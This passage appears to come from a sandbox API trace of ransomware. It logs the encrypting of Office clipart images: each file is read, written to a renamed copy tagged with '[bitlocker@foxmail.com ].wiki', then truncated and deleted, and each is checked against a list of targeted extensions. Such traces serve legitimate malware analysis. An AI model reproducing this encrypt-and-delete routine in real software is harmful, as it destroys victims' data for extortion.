GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=55554) returned 1 [0199.164] CloseHandle (hObject=0x1f0) returned 1 [0199.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg")) returned 0x20 [0199.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.164] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.164] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0199.165] GetLastError () returned 0x0 [0199.165] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xd902, lpOverlapped=0x0) returned 1 [0199.168] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xd910, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xd910, lpOverlapped=0x0) returned 1 [0199.169] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.170] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.170] SetEndOfFile (hFile=0x200) returned 1 [0199.170] CloseHandle (hObject=0x200) returned 1 [0199.170] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.170] SetEndOfFile (hFile=0x1f0) returned 1 [0199.171] CloseHandle (hObject=0x1f0) returned 1 [0199.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg")) returned 1 [0199.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0199.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0199.171] lstrlenW (lpString=".doc") returned 4 [0199.172] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.172] lstrlenW (lpString=".docx") returned 5 [0199.172] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0199.172] lstrlenW (lpString=".pdf") returned 4 [0199.172] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.172] lstrlenW (lpString=".xls") returned 4 [0199.172] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.172] lstrlenW (lpString=".xlsx") returned 5 [0199.172] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0199.172] lstrlenW (lpString=".ppt") returned 4 [0199.172] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0199.172] lstrlenW (lpString=".zip") returned 4 [0199.172] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.172] lstrlenW (lpString=".rar") returned 4 [0199.172] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.172] lstrlenW (lpString=".bz2") returned 4 [0199.172] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.172] lstrlenW (lpString=".7z") returned 3 [0199.172] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0199.172] lstrlenW (lpString=".dbf") returned 4 [0199.172] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0199.172] lstrlenW (lpString=".1cd") returned 4 [0199.172] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0199.172] lstrlenW (lpString=".jpg") returned 4 [0199.172] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0199.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0199.173] lstrlenW (lpString=".doc") returned 4 [0199.173] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.173] lstrlenW (lpString=".docx") returned 5 [0199.173] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0199.173] lstrlenW (lpString=".pdf") returned 4 [0199.173] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.173] lstrlenW (lpString=".xls") returned 4 [0199.173] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.173] lstrlenW (lpString=".xlsx") returned 5 [0199.173] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0199.173] lstrlenW (lpString=".ppt") returned 4 [0199.173] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0199.173] lstrlenW (lpString=".zip") returned 4 [0199.173] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.173] lstrlenW (lpString=".rar") returned 4 [0199.173] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.173] lstrlenW (lpString=".bz2") returned 4 [0199.173] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.173] lstrlenW (lpString=".7z") returned 3 [0199.173] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0199.173] lstrlenW (lpString=".dbf") returned 4 [0199.173] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0199.173] lstrlenW (lpString=".1cd") returned 4 [0199.174] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0199.174] lstrlenW (lpString=".jpg") returned 4 [0199.174] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.174] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.174] lstrlenW (lpString="J0178459.JPG") returned 12 [0199.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.174] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=29204) returned 1 [0199.174] CloseHandle (hObject=0x1f0) returned 1 [0199.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg")) returned 0x20 [0199.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.175] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.175] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0199.176] GetLastError () returned 0x0 [0199.176] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x7214, lpOverlapped=0x0) returned 1 [0199.178] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x7220, lpOverlapped=0x0) returned 1 [0199.179] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.179] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.179] SetEndOfFile (hFile=0x200) returned 1 [0199.179] CloseHandle (hObject=0x200) returned 1 [0199.180] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.180] SetEndOfFile (hFile=0x1f0) returned 1 [0199.180] CloseHandle (hObject=0x1f0) returned 1 [0199.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg")) returned 1 [0199.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0199.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0199.181] lstrlenW (lpString=".doc") returned 4 [0199.181] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.181] lstrlenW (lpString=".docx") returned 5 [0199.181] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0199.181] lstrlenW (lpString=".pdf") returned 4 [0199.181] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.181] lstrlenW (lpString=".xls") returned 4 [0199.181] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.181] lstrlenW (lpString=".xlsx") returned 5 [0199.181] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0199.181] lstrlenW (lpString=".ppt") returned 4 [0199.181] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0199.181] lstrlenW (lpString=".zip") returned 4 [0199.181] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.182] lstrlenW (lpString=".rar") returned 4 [0199.182] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.182] lstrlenW (lpString=".bz2") returned 4 [0199.182] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.182] lstrlenW (lpString=".7z") returned 3 [0199.182] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0199.182] lstrlenW (lpString=".dbf") returned 4 [0199.182] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0199.182] lstrlenW (lpString=".1cd") returned 4 [0199.182] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0199.182] lstrlenW (lpString=".jpg") returned 4 [0199.182] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0199.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0199.182] lstrlenW (lpString=".doc") returned 4 [0199.182] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.182] lstrlenW (lpString=".docx") returned 5 [0199.182] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0199.182] lstrlenW (lpString=".pdf") returned 4 [0199.182] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.182] lstrlenW (lpString=".xls") returned 4 [0199.182] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.183] lstrlenW (lpString=".xlsx") returned 5 [0199.183] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0199.183] lstrlenW (lpString=".ppt") returned 4 [0199.183] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0199.183] lstrlenW (lpString=".zip") returned 4 [0199.183] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.183] lstrlenW (lpString=".rar") returned 4 [0199.183] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.183] lstrlenW (lpString=".bz2") returned 4 [0199.183] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.183] lstrlenW (lpString=".7z") returned 3 [0199.183] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0199.183] lstrlenW (lpString=".dbf") returned 4 [0199.183] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0199.183] lstrlenW (lpString=".1cd") returned 4 [0199.183] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0199.183] lstrlenW (lpString=".jpg") returned 4 [0199.183] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.183] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.183] lstrlenW (lpString="J0178460.JPG") returned 12 [0199.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.184] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=26531) returned 1 [0199.184] CloseHandle (hObject=0x1f0) returned 1 [0199.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg")) returned 0x20 [0199.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.184] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.184] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0199.185] GetLastError () returned 0x0 [0199.185] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x67a3, lpOverlapped=0x0) returned 1 [0199.187] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x67b0, lpOverlapped=0x0) returned 1 [0199.188] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.189] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.189] SetEndOfFile (hFile=0x200) returned 1 [0199.189] CloseHandle (hObject=0x200) returned 1 [0199.189] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.189] SetEndOfFile (hFile=0x1f0) returned 1 [0199.190] CloseHandle (hObject=0x1f0) returned 1 [0199.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg")) returned 1 [0199.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0199.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0199.190] lstrlenW (lpString=".doc") returned 4 [0199.190] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.190] lstrlenW (lpString=".docx") returned 5 [0199.190] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0199.190] lstrlenW (lpString=".pdf") returned 4 [0199.190] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.190] lstrlenW (lpString=".xls") returned 4 [0199.190] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.190] lstrlenW (lpString=".xlsx") returned 5 [0199.190] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0199.190] lstrlenW (lpString=".ppt") returned 4 [0199.190] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0199.191] lstrlenW (lpString=".zip") returned 4 [0199.191] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.191] lstrlenW (lpString=".rar") returned 4 [0199.191] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.191] lstrlenW (lpString=".bz2") returned 4 [0199.191] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.191] lstrlenW (lpString=".7z") returned 3 [0199.191] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0199.191] lstrlenW (lpString=".dbf") returned 4 [0199.191] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0199.191] lstrlenW (lpString=".1cd") returned 4 [0199.191] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0199.191] lstrlenW (lpString=".jpg") returned 4 [0199.191] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0199.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0199.191] lstrlenW (lpString=".doc") returned 4 [0199.191] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.191] lstrlenW (lpString=".docx") returned 5 [0199.191] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0199.191] lstrlenW (lpString=".pdf") returned 4 [0199.191] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.191] lstrlenW (lpString=".xls") returned 4 [0199.191] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.191] lstrlenW (lpString=".xlsx") returned 5 [0199.191] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0199.192] lstrlenW (lpString=".ppt") returned 4 [0199.192] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0199.192] lstrlenW (lpString=".zip") returned 4 [0199.192] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.192] lstrlenW (lpString=".rar") returned 4 [0199.192] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.192] lstrlenW (lpString=".bz2") returned 4 [0199.192] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.192] lstrlenW (lpString=".7z") returned 3 [0199.192] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0199.192] lstrlenW (lpString=".dbf") returned 4 [0199.192] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0199.192] lstrlenW (lpString=".1cd") returned 4 [0199.192] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0199.192] lstrlenW (lpString=".jpg") returned 4 [0199.192] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.192] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.192] lstrlenW (lpString="J0178523.JPG") returned 12 [0199.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.193] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=24034) returned 1 [0199.193] CloseHandle (hObject=0x1f0) returned 1 [0199.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg")) returned 0x20 [0199.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft 